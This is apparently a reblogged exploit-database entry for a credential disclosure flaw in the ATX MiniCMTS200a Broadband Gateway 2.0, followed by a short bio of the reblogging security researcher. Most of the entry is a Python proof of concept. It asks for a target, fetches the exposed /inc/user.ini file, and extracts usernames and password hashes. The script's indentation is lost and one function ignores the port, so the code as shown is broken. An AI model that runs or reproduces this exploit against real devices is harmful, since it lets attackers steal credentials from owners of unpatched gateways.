ATX MiniCMTS200a Broadband Gateway 2.0 – Credential Disclosure Exploit

Date: 2020-11-30

CVE: N/A

Platform: WIN

# Exploit Title: ATX MiniCMTS200a Broadband Gateway 2.0 - Credential Disclosure
# Exploit Author: Zagros Bingol
# Vendor Homepage: http://www.atx.com
# Software Link: https://atx.com/products/commercial-services-gateways/minicmts200a-broadband-gateway/
# Version: 2.0 and earlier
# Tested on: Debian 10 64bit

-------------------------------------

Endpoint:
http://www.ip/domain.com/inc/user.ini

--------------------------------------

Proof-of-Concept:

#!/usr/bin/python3
#License: GNU General Public license v3.0
#Author: Zagros Bingol(Zagrosbingol@outlook.com)


import requests
import re

target = input("Target(ex:http://host): \n")
port = input("Port: \n")


def sploit(target, port):
print("ATX/PicoDigital MiniCMTS200a Broadband Gateway v2.0 -
Credential Disclosure\n")
r = requests.post(target + ":" + port + '/inc/user.ini')
searching = re.findall(r"\[.{1,8}\]", str(r.text))
print("Usernames:\n")
print(", ".join(searching).replace("[", "").replace("]", ""))

def hash():
r = requests.post(target + '/inc/user.ini')
searching = re.findall(r"([a-fA-F\d]{32})", str(r.text))
print("Hashes:\n")
print(", ".join(searching).replace("[", "").replace("]", ""))
hash()

sploit(target, port)
            
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Hello! I'm Steve, an independent security researcher, and analyst from Scotland, UK.

I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated...

I've assisted Governments, Individuals and Organizations throughout the world. Including; US DOJ, NHS UK, GOV UK.

I'll often reblog infosec-related articles that I find interesting. On the RiSec website, You'll also find a variety of write-ups, tutorials and much more!
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RiSec.n0tst3

Hello! I'm Steve, an independent security researcher, and analyst from Scotland, UK. I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated... I've assisted Governments, Individuals and Organizations throughout the world. Including; US DOJ, NHS UK, GOV UK. I'll often reblog infosec-related articles that I find interesting. On the RiSec website, You'll also find a variety of write-ups, tutorials and much more!

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